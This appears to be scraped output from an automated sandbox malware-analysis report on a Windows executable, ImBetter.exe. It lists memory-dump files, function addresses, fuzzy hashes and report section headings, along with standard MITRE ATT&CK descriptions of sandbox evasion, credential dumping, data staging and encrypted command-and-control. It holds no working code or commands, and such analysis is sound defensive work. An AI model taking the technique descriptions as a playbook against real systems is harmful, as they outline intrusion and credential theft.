Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: c2000cd3ccef8aff31050f07a9da561e0a0e3cb51574d98614c31be5dc30e209
Instruction ID: 8997551e61cc536a56c4d5d8d40a83769e00566828362f4110d963d30a9e1cc1
Opcode Fuzzy Hash: c2000cd3ccef8aff31050f07a9da561e0a0e3cb51574d98614c31be5dc30e209
Instruction Fuzzy Hash: 90114232618B8582EB109F15F84035AB7A8FB88B85F695231DF8D07B65EF7CD551C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B013B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7E6B013BB
__std_exception_copy.LIBVCRUNTIME ref: 00007FF7E6B013F4

Strings

string too long, xrefs: 00007FF7E6B013B4

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Xinvalid_argument__std_exception_copystd::_
String ID: string too long
API String ID: 2536225881-2556327735
Opcode ID: 890fafd0806fb8718be6861182bead542e8364425f6fae063c2150731e4e6a18
Instruction ID: 7a953c4dcaf1dca1339634c2904ecf576d623c935d738977db70b7c323e9be68
Opcode Fuzzy Hash: 890fafd0806fb8718be6861182bead542e8364425f6fae063c2150731e4e6a18
Instruction Fuzzy Hash: FAE06561B64744D0DB05BF21EC402F57362AF68704BE88133D95C46355EE3CE5D5C711

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ImBetter.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

TCP Packets

Chrome Debug Log

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: ImBetter.exePID: 5676, Parent PID: 3452

General

Chronological Activities

Disassembly

Analysis Process: ImBetter.exePID: 5676, Parent PID: 3452COMMON

Windows Analysis Report
ImBetter.exe

Function 00007FF7E6B1A8C0 Relevance: 83.1, APIs: 6, Strings: 41, Instructions: 810
COMMON

Function 00007FF7E6B197C0 Relevance: 77.8, APIs: 1, Strings: 43, Instructions: 770
COMMON

Function 00007FF7E6B319F0 Relevance: 10.8, APIs: 7, Instructions: 286
COMMONLIBRARYCODECrypto

Function 00007FF7E6B357F8 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222
COMMONLIBRARYCODE

Function 00007FF7E6B2C384 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Function 00007FF7E6B2C2C4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Function 00007FF7E6B1BEC0 Relevance: 3.1, APIs: 2, Instructions: 80
encryptionCOMMON

Function 00007FF7E6B2AD94 Relevance: .3, Instructions: 309
COMMONLIBRARYCODECrypto

Function 00007FF7E6B35254 Relevance: .3, Instructions: 272
COMMONCrypto

Function 00007FF7E6B25A6C Relevance: .2, Instructions: 207
COMMONLIBRARYCODECrypto

Function 00007FF7E6B05FAD Relevance: 80.1, APIs: 4, Strings: 41, Instructions: 1395
COMMON

Function 00007FF7E6B16D0E Relevance: 63.8, APIs: 31, Strings: 5, Instructions: 837
COMMON

Function 00007FF7E6B0C267 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 321
networkCOMMON

Function 00007FF7E6B3CE4C Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61
libraryloaderCOMMON

Function 00007FF7E6B4AA04 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMONLIBRARYCODE

Function 00007FF7E6B0C080 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 86
COMMON

Function 00007FF7E6B1C580 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 190
COMMON

Function 00007FF7E6B1D680 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 134
COMMON

Function 00007FF7E6B1D870 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 204
COMMON

Function 00007FF7E6B4E3F0 Relevance: 6.1, APIs: 4, Instructions: 122
COMMON

Function 00007FF7E6B11D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112
COMMON

Function 00007FF7E6B14FE0 Relevance: 4.7, APIs: 3, Instructions: 176
COMMON

Function 00007FF7E6B288D4 Relevance: 4.6, APIs: 3, Instructions: 72
COMMON

Function 00007FF7E6B25180 Relevance: 4.6, APIs: 3, Instructions: 60
COMMON

Function 00007FF7E6B25090 Relevance: 4.6, APIs: 3, Instructions: 59
COMMON

Function 00007FF7E6B36FCC Relevance: 4.5, APIs: 3, Instructions: 14
COMMON

Function 00007FF7E6B2955C Relevance: 3.2, APIs: 2, Instructions: 175
COMMONLIBRARYCODE

Function 00007FF7E6B0AB40 Relevance: 3.1, APIs: 2, Instructions: 132
COMMON

Function 00007FF7E6B0D1B0 Relevance: 3.1, APIs: 2, Instructions: 122
COMMON

Function 00007FF7E6B32334 Relevance: 3.1, APIs: 2, Instructions: 89
COMMONLIBRARYCODE

Function 00007FF7E6B09B50 Relevance: 3.1, APIs: 2, Instructions: 88
COMMON

Function 00007FF7E6B02EB0 Relevance: 3.1, APIs: 2, Instructions: 86
COMMON

Function 00007FF7E6B02020 Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Function 00007FF7E6B3CAAC Relevance: 3.0, APIs: 2, Instructions: 22
COMMONLIBRARYCODE

Function 00007FF7E6B29D04 Relevance: 3.0, APIs: 2, Instructions: 18
COMMONLIBRARYCODE

Function 00007FF7E6B0D350 Relevance: 1.7, APIs: 1, Instructions: 229
COMMON

Function 00007FF7E6B1E190 Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Function 00007FF7E6B14970 Relevance: 1.6, APIs: 1, Instructions: 125
COMMON

Function 00007FF7E6B11CB0 Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Function 00007FF7E6B300EC Relevance: 1.6, APIs: 1, Instructions: 105
COMMONLIBRARYCODE

Function 00007FF7E6B14B40 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Function 00007FF7E6B45C28 Relevance: 1.6, APIs: 1, Instructions: 93
COMMONLIBRARYCODE

Function 00007FF7E6B318D4 Relevance: 1.6, APIs: 1, Instructions: 74
COMMONLIBRARYCODE

Function 00007FF7E6B36EFD Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Function 00007FF7E6B0B980 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Function 00007FF7E6B4A1E4 Relevance: 1.6, APIs: 1, Instructions: 54
COMMONLIBRARYCODE

Function 00007FF7E6B4A2A8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Function 00007FF7E6B297DC Relevance: 1.5, APIs: 1, Instructions: 48
COMMONLIBRARYCODE

Function 00007FF7E6B37884 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00007FF7E6B2B27C Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Function 00007FF7E6B02590 Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Function 00007FF7E6B2C9C0 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Function 00007FF7E6B29D40 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Function 00007FF7E6B28B18 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Function 00007FF7E6B0C7E0 Relevance: 35.4, APIs: 12, Strings: 8, Instructions: 395
sleepnetworkCOMMONCrypto

Function 00007FF7E6B19150 Relevance: 35.3, APIs: 8, Strings: 12, Instructions: 340
COMMONCrypto